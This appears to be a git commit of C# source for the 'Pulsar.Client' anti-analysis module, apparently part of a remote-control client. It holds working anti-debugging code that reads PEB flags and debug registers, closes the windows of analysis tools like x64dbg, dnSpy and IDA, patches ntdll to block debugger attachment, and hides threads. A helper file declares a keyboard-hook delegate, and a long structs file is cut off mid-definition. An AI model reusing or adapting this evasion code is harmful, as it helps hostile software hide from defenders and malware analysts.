initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+551
View File
@@ -0,0 +1,551 @@
using System;
using System.IO;
using System.Text;
using System.Threading;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Reflection;
using Pulsar.Client.Anti.Helper;
using static Pulsar.Client.Anti.Helper.Structs;
namespace Pulsar.Client.Anti.Debugger
{
public class AntiDebug
{
#region WinApi
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool SetHandleInformation(IntPtr hObject, uint dwMask, uint dwFlags);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern bool NtClose(IntPtr Handle);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr CreateMutexA(IntPtr lpMutexAttributes, bool bInitialOwner, string lpName);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool IsDebuggerPresent();
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lib);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool ReadProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, out byte[] Buffer, uint size, out int NumOfBytes);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtSetInformationThread(IntPtr ThreadHandle, uint ThreadInformationClass, IntPtr ThreadInformation, int ThreadInformationLength);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientID);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern uint GetTickCount();
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetCurrentThread();
[DllImport("ntdll.dll", SetLastError = true)]
private static extern bool NtGetContextThread(IntPtr hThread, ref CONTEXT Context);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, uint ReturnLength);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, ref PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern int QueryFullProcessImageNameA(SafeHandle hProcess, uint Flags, byte[] lpExeName, Int32[] lpdwSize);
[DllImport("win32u.dll", SetLastError = true)]
private static extern IntPtr NtUserGetForegroundWindow();
[DllImport("user32.dll", SetLastError = true)]
private static extern int GetWindowTextLengthA(IntPtr HWND);
[DllImport("user32.dll", SetLastError = true)]
private static extern int GetWindowTextA(IntPtr HWND, StringBuilder WindowText, int nMaxCount);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtSetDebugFilterState(ulong ComponentId, uint Level, bool State);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern IntPtr memset(IntPtr Dst, int val, uint size);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("kernel32.dll")]
private static extern int GetLastError();
#endregion
/// <summary>
/// Attempts to close an invalid handle to detect debugger presence.
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
/// </summary>
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
public static bool NtCloseAntiDebug_InvalidHandle()
{
try
{
int RandomInt = new Random().Next(int.MinValue, int.MaxValue);
IntPtr RandomIntPtr = new IntPtr(RandomInt);
NtClose(RandomIntPtr);
return false;
}
catch
{
return true;
}
}
/// <summary>
/// Attempts to close a protected handle to detect debugger presence.
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
/// </summary>
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
public static bool NtCloseAntiDebug_ProtectedHandle()
{
string RandomMutexName = new Random().Next(int.MinValue, int.MaxValue).ToString();
IntPtr hMutex = CreateMutexA(IntPtr.Zero, false, RandomMutexName);
uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002;
SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE_FLAG_PROTECT_FROM_CLOSE);
bool Result = false;
try
{
NtClose(hMutex);
Result = false;
}
catch
{
Result = true;
}
SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0);
NtClose(hMutex);
return Result;
}
/// <summary>
/// Checks if a debugger is attached to the process.
/// </summary>
/// <returns>Returns true if a debugger is attached, otherwise false.</returns>
public static bool DebuggerIsAttached()
{
return System.Diagnostics.Debugger.IsAttached;
}
/// <summary>
/// Checks if a debugger is present using the IsDebuggerPresent API.
/// </summary>
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
public static bool IsDebuggerPresentCheck()
{
if (IsDebuggerPresent())
return true;
return false;
}
/// <summary>
/// Checks for the BeingDebugged flag directly.
/// </summary>
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
public static bool BeingDebuggedCheck()
{
byte[] Code = new byte[30];
if (IntPtr.Size == 8)
Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 };
else
Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 };
IntPtr BeingDebugged = Utils.AllocateCode(Code);
if (BeingDebugged != IntPtr.Zero)
{
try
{
Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(BeingDebugged, typeof(Delegates.GenericInt));
int Result = Executed();
Utils.FreeCode(BeingDebugged);
if (Result == 1)
return true;
}
catch
{
Utils.FreeCode(BeingDebugged);
}
}
return false;
}
/// <summary>
/// Checks for the NtGlobalFlag directly.
/// </summary>
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
public static bool NtGlobalFlagCheck()
{
byte[] Code = new byte[30];
if (IntPtr.Size == 8)
Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x83, 0xE0, 0x70, 0x48, 0x83, 0xF8, 0x70, 0x74, 0x04, 0x48, 0x31, 0xC0, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 };
else
Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x68, 0x83, 0xE0, 0x70, 0x83, 0xF8, 0x70, 0x74, 0x03, 0x31, 0xC0, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
IntPtr NtGlobalFlag = Utils.AllocateCode(Code);
if (NtGlobalFlag != IntPtr.Zero)
{
try
{
Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(NtGlobalFlag, typeof(Delegates.GenericInt));
int Result = Executed();
Utils.FreeCode(NtGlobalFlag);
if (Result == 1)
return true;
}
catch
{
Utils.FreeCode(NtGlobalFlag);
}
}
return false;
}
/// <summary>
/// Checks if the process has debug flags set using NtQueryInformationProcess
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
/// </summary>
/// <returns>Returns true if debug flags are set, otherwise false.</returns>
public static bool NtQueryInformationProcessCheck_ProcessDebugFlags()
{
uint ProcessDebugFlags = 0;
NtQueryInformationProcess(new IntPtr(-1), 0x1F, out ProcessDebugFlags, sizeof(uint), 0);
if (ProcessDebugFlags == 0)
return true;
return false;
}
/// <summary>
/// Checks if the process has a debug port using NtQueryInformationProcess.
/// <param name="Syscall">specifies if we should use syscalls to call the WinAPI functions.</param>.
/// </summary>
/// <returns>Returns true if a debug port is detected, otherwise false.</returns>
public static bool NtQueryInformationProcessCheck_ProcessDebugPort()
{
uint DebuggerPresent = 0;
uint Size = sizeof(uint);
if (Environment.Is64BitProcess)
Size = sizeof(uint) * 2;
NtQueryInformationProcess(new IntPtr(-1), 7, out DebuggerPresent, Size, 0);
if (DebuggerPresent != 0)
return true;
return false;
}
/// <summary>
/// Checks if the process has a debug object handle using NtQueryInformationProcess.
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
/// </summary>
/// <returns>Returns true if a debug object handle is detected, otherwise false.</returns>
public static bool NtQueryInformationProcessCheck_ProcessDebugObjectHandle()
{
IntPtr hDebugObject = IntPtr.Zero;
uint Size = sizeof(uint);
if (Environment.Is64BitProcess)
Size = sizeof(uint) * 2;
NtQueryInformationProcess(new IntPtr(-1), 0x1E, out hDebugObject, Size, 0);
if (hDebugObject != IntPtr.Zero)
return true;
return false;
}
/// <summary>
/// Patches the DbgUiRemoteBreakin and DbgBreakPoint functions to prevent debugger attachment.
/// </summary>
/// <returns>Returns "Success" if the patching was successful, otherwise "Failed".</returns>
public static string AntiDebugAttach()
{
IntPtr NtdllModule = Utils.LowLevelGetModuleHandle("ntdll.dll");
IntPtr DbgUiRemoteBreakinAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgUiRemoteBreakin");
IntPtr DbgBreakPointAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgBreakPoint");
byte[] Int3InvaildCode = { 0xCC };
byte[] RetCode = { 0xC3 };
bool Status = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 1, out IntPtr test);
bool Status2 = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgBreakPointAddress, RetCode, 1, out IntPtr test2);
if (Status && Status2)
return "Success";
return "Failed";
}
/// <summary>
/// Checks for the presence of known debugger windows.
/// </summary>
/// <returns>Returns true if a known debugger window is detected, otherwise false.</returns>
public static bool FindWindowAntiDebug()
{
string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "cheat engine", "cheatengine", "ida" };
Process[] GetProcesses = Process.GetProcesses();
foreach (Process GetWindow in GetProcesses)
{
try
{
if (GetWindow.MainWindowHandle != IntPtr.Zero)
{
string title = GetWindow.MainWindowTitle;
if (string.IsNullOrEmpty(title)) continue;
foreach (string BadWindows in BadWindowNames)
{
if (Utils.Contains(title, BadWindows))
{
GetWindow.Close();
return true;
}
}
}
}
catch
{
continue;
}
}
return false;
}
/// <summary>
/// Checks if the foreground window belongs to a known debugger.
/// </summary>
/// <returns>Returns true if a known debugger window is detected, otherwise false.</returns>
public static bool NtUserGetForegroundWindowAntiDebug()
{
string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "debug", "debugger", "cheat engine", "cheatengine", "ida" };
IntPtr HWND = NtUserGetForegroundWindow();
if (HWND != IntPtr.Zero)
{
int WindowLength = GetWindowTextLengthA(HWND);
if (WindowLength != 0)
{
StringBuilder WindowName = new StringBuilder(WindowLength + 1);
GetWindowTextA(HWND, WindowName, WindowLength + 1);
foreach (string BadWindows in BadWindowNames)
{
if (Utils.Contains(WindowName.ToString().ToLower(), BadWindows))
{
return true;
}
}
}
}
return false;
}
/// <summary>
/// Hides threads from the debugger by setting the NtSetInformationThread.
/// </summary>
/// <returns>Returns "Success" if the threads were hidden successfully, otherwise "Failed".</returns>
public static string HideThreadsAntiDebug()
{
try
{
bool AnyThreadFailed = false;
int PID = Process.GetCurrentProcess().Id;
ProcessThreadCollection GetCurrentProcessThreads = Process.GetCurrentProcess().Threads;
foreach (ProcessThread Threads in GetCurrentProcessThreads)
{
CLIENT_ID CI = new CLIENT_ID
{
UniqueProcess = (IntPtr)PID,
UniqueThread = (IntPtr)Threads.Id
};
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
{
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
RootDirectory = IntPtr.Zero,
ObjectName = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};
IntPtr hThread = IntPtr.Zero;
uint Status = NtOpenThread(out hThread, 0x0020, ref Attributes, ref CI);
if (Status == 0 || hThread != IntPtr.Zero)
{
uint Status2 = NtSetInformationThread(hThread, 0x11, IntPtr.Zero, 0);
NtClose(hThread);
if (Status2 != 0x00000000)
AnyThreadFailed = true;
}
}
if (!AnyThreadFailed)
return "Success";
return "Failed";
}
catch
{
return "Failed";
}
}
/// <summary>
/// Uses GetTickCount to detect debugger presence.
/// </summary>
/// <returns>Returns true if debugger presence is detected, otherwise false.</returns>
public static bool GetTickCountAntiDebug()
{
uint Start = GetTickCount();
Thread.Sleep(0x10);
return (GetTickCount() - Start) > 0x10;
}
/// <summary>
/// Triggers a debug break to detect debugger presence.
/// </summary>
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
public static bool DebugBreakAntiDebug()
{
try
{
Utils.CallInternalCLRFunction("BreakInternal", typeof(Debug), BindingFlags.NonPublic | BindingFlags.Static, null, null);
return false;
}
catch
{
return true;
}
}
private static long CONTEXT_DEBUG_REGISTERS = 0x00010000L | 0x00000010L;
/// <summary>
/// Detects hardware breakpoints by checking debug registers.
/// </summary>
/// <returns>Returns true if hardware breakpoints are detected, otherwise false.</returns>
public static bool HardwareRegistersBreakpointsDetection()
{
CONTEXT Context = new CONTEXT();
Context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
int PID = Process.GetCurrentProcess().Id;
foreach (ProcessThread Threads in Process.GetCurrentProcess().Threads)
{
uint THREAD_QUERY_INFORMATION = 0x0040;
CLIENT_ID CI = new CLIENT_ID
{
UniqueProcess = (IntPtr)PID,
UniqueThread = (IntPtr)Threads.Id
};
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
{
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
RootDirectory = IntPtr.Zero,
ObjectName = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};
IntPtr hThread = IntPtr.Zero;
uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI);
if (Status == 0 || hThread != IntPtr.Zero)
{
if (NtGetContextThread(hThread, ref Context))
{
if ((Context.Dr1 != 0x00 || Context.Dr2 != 0x00 || Context.Dr3 != 0x00 || Context.Dr6 != 0x00 || Context.Dr7 != 0x00))
{
NtClose(hThread);
return true;
}
}
NtClose(hThread);
}
}
return false;
}
/// <summary>
/// Cleans the specified path by removing null characters.
/// </summary>
/// <param name="Path">The path to clean.</param>
/// <returns>The cleaned path.</returns>
private static string CleanPath(string Path)
{
string CleanedPath = null;
foreach (char Null in Path)
{
if (Null != '\0')
{
CleanedPath += Null;
}
}
return CleanedPath;
}
/// <summary>
/// Uses NtSetDebugFilterState to prevent debugging.
/// </summary>
/// <returns>Returns true if the filter state was set successfully, otherwise false.</returns>
public static bool NtSetDebugFilterStateAntiDebug()
{
if (NtSetDebugFilterState(0, 0, true) != 0)
return false;
return true;
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate int ExecutionDelegate();
/// <summary>
/// Uses page guard to detect debugger presence by executing a function pointer.
/// </summary>
/// <returns>Returns true if debugger presence is detected, otherwise false.</returns>
public static bool PageGuardAntiDebug()
{
SYSTEM_INFO SysInfo = new SYSTEM_INFO();
GetSystemInfo(out SysInfo);
uint MEM_COMMIT = 0x00001000;
uint MEM_RESERVE = 0x00002000;
uint PAGE_EXECUTE_READWRITE = 0x40;
uint PAGE_GUARD = 0x100;
uint MEM_RELEASE = 0x00008000;
IntPtr AllocatedSpace = VirtualAlloc(IntPtr.Zero, SysInfo.PageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (AllocatedSpace != IntPtr.Zero)
{
memset(AllocatedSpace, 1, 0xC3);
uint OldProtect = 0;
if (Utils.ProtectMemory(AllocatedSpace, (UIntPtr)SysInfo.PageSize, PAGE_EXECUTE_READWRITE | PAGE_GUARD, out OldProtect))
{
try
{
ExecutionDelegate IsDebugged = Marshal.GetDelegateForFunctionPointer<ExecutionDelegate>(AllocatedSpace);
int Result = IsDebugged();
}
catch
{
VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE);
return false;
}
VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE);
return true;
}
}
return false;
}
}
}
+44
View File
@@ -0,0 +1,44 @@
using System;
using System.Runtime.InteropServices;
namespace Pulsar.Client.Anti.Helper
{
public class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryInformationProcess2(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryInformationProcess3(IntPtr hProcess, uint ProcessInfoClass, ref Structs.PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool SysNtClose(IntPtr Handle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQuerySystemInformation(uint SystemInformationClass, ref Structs.SYSTEM_CODEINTEGRITY_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQuerySystemInformation2(uint SystemInformationClass, ref Structs.SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQuerySystemInformation3(uint SystemInformationClass, ref Structs.SYSTEM_SECUREBOOT_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int SysNtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate IntPtr GenericPtr();
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate int GenericInt();
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr KeyboardHook(int nCode, IntPtr wParam, IntPtr lParam);
}
}
+430
View File
@@ -0,0 +1,430 @@
using System;
using System.Runtime.InteropServices;
namespace Pulsar.Client.Anti.Helper
{
public class Structs
{
[StructLayout(LayoutKind.Sequential)]
public struct CONTEXT
{
public uint P1Home;
public uint P2Home;
public uint P3Home;
public uint P4Home;
public uint P5Home;
public uint P6Home;
public long ContextFlags;
public IntPtr MxCsr;
public IntPtr SegCs;
public IntPtr SegDs;
public IntPtr SegEs;
public IntPtr SegFs;
public IntPtr SegGs;
public IntPtr SegSs;
public IntPtr EFlags;
public uint Dr0;
public uint Dr1;
public uint Dr2;
public uint Dr3;
public uint Dr6;
public uint Dr7;
}
public struct PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
{
public uint MicrosoftSignedOnly;
}
[StructLayout(LayoutKind.Explicit)]
public struct SYSTEM_CODEINTEGRITY_INFORMATION
{
[FieldOffset(0)]
public ulong Length;
[FieldOffset(4)]
public uint CodeIntegrityOptions;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
internal IntPtr Reserved1;
internal IntPtr PebBaseAddress;
internal IntPtr Reserved2_0;
internal IntPtr Reserved2_1;
internal IntPtr UniqueProcessId;
internal IntPtr InheritedFromUniqueProcessId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SYSTEM_KERNEL_DEBUGGER_INFORMATION
{
[MarshalAs(UnmanagedType.U1)]
public bool KernelDebuggerEnabled;
[MarshalAs(UnmanagedType.U1)]
public bool KernelDebuggerNotPresent;
}
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
public struct ANSI_STRING
{
public short Length;
public short MaximumLength;
public string Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct SYSTEM_SECUREBOOT_INFORMATION
{
public bool SecureBootEnabled;
public bool SecureBootCapable;
}
[StructLayout(LayoutKind.Sequential)]
public struct SYSTEM_INFO
{
public ushort ProcessorArchitecture;
ushort Reserved;
public uint PageSize;
public IntPtr MinimumApplicationAddress;
public IntPtr MaximumApplicationAddress;
public IntPtr ActiveProcessorMask;
public uint NumberOfProcessors;
public uint ProcessorType;
public uint AllocationGranularity;
public ushort ProcessorLevel;
public ushort ProcessorRevision;
}
[StructLayout(LayoutKind.Sequential)]
public struct OSVERSIONINFOEX
{
public int dwOSVersionInfoSize;
public int dwMajorVersion;
public int dwMinorVersion;
public int dwBuildNumber;
public int dwPlatformId;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
public string szCSDVersion;
public ushort wServicePackMajor;
public ushort wServicePackMinor;
public ushort wSuiteMask;
public byte wProductType;
public byte wReserved;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DOS_HEADER
{
public ushort e_magic;
public ushort e_cblp;
public ushort e_cp;
public ushort e_crlc;
public ushort e_cparhdr;
public ushort e_minalloc;
public ushort e_maxalloc;
public ushort e_ss;
public ushort e_sp;
public ushort e_csum;
public ushort e_ip;
public ushort e_cs;
public ushort e_lfarlc;
public ushort e_ovno;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public ushort[] e_res1;
public ushort e_oemid;
public ushort e_oeminfo;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public ushort[] e_res2;
public int e_lfanew;
}
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_NT_HEADERS32
{
public UInt32 Signature;
public IMAGE_FILE_HEADER FileHeader;
public IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_NT_HEADERS64
{
public UInt32 Signature;
public IMAGE_FILE_HEADER FileHeader;
public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_FILE_HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY DataDirectory;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_EXPORT_DIRECTORY
{
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions;
public uint AddressOfNames;
public uint AddressOfNameOrdinals;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
public struct IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] Name;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public uint Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LIST_ENTRY
{
public IntPtr Flink;
public IntPtr Blink;
}
[StructLayout(LayoutKind.Sequential)]
public struct _PEB_LDR_DATA
{
public UInt32 Length;
public Byte Initialized;
public IntPtr SsHandle;
public _LIST_ENTRY InLoadOrderModuleList;
public _LIST_ENTRY InMemoryOrderModuleList;
public _LIST_ENTRY InInitializationOrderModuleList;
public IntPtr EntryInProgress;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LDR_DATA_TABLE_ENTRY
{
public _LIST_ENTRY InLoadOrderLinks;
public _LIST_ENTRY InMemoryOrderLinks;
public _LIST_ENTRY InInitializationOrderLinks;
public IntPtr DllBase;
public IntPtr EntryPoint;
public UInt32 SizeOfImage;
public UNICODE_STRING FullDllName;
public UNICODE_STRING BaseDllName;
}
[StructLayout(LayoutKind.Sequential)]
public struct RTL_USER_PROCESS_PARAMETERS
{
public long MaximumLength;
public long Length;
public long Flags;
public long DebugFlags;
public IntPtr ConsoleHandle;
public long ConsoleFlags;
public IntPtr StdInputHandle;
public IntPtr StdOutputHandle;
public IntPtr StdErrorHandle;
public IntPtr CurrentDirectory;
public UNICODE_STRING DllPath;
public UNICODE_STRING ImagePathName;
public UNICODE_STRING CommandLine;
public IntPtr Environment;
public long StartingPositionLeft;
public long StartingPositionTop;
public long Width;
public long Height;
public long CharWidth;
public long CharHeight;
public long ConsoleTextAttributes;
public long WindowFlags;
public long ShowWindowFlags;
public UNICODE_STRING WindowTitle;
public UNICODE_STRING DesktopName;
public UNICODE_STRING ShellInfo;
public UNICODE_STRING RuntimeData;
public IntPtr DLCurrentDirectory;
public long EnvironmentSize;
}
[StructLayout(LayoutKind.Sequential)]
public unsafe struct PEB
{
public byte InheritedAddressSpace;
public byte ReadImageFileExecOptions;
public byte BeingDebugged;
public byte SpareBool;
public IntPtr Mutant;
public IntPtr ImageBaseAddress;
public IntPtr Ldr;
public IntPtr ProcessParameters;
public IntPtr SubSystemData;
public IntPtr ProcessHeap;
public IntPtr FastPebLock;
public IntPtr AtlThunkSListPtr;
public IntPtr IFEOKey;
public uint CrossProcessFlags;
public IntPtr KernelCallbackTable;
public uint SystemReserved;
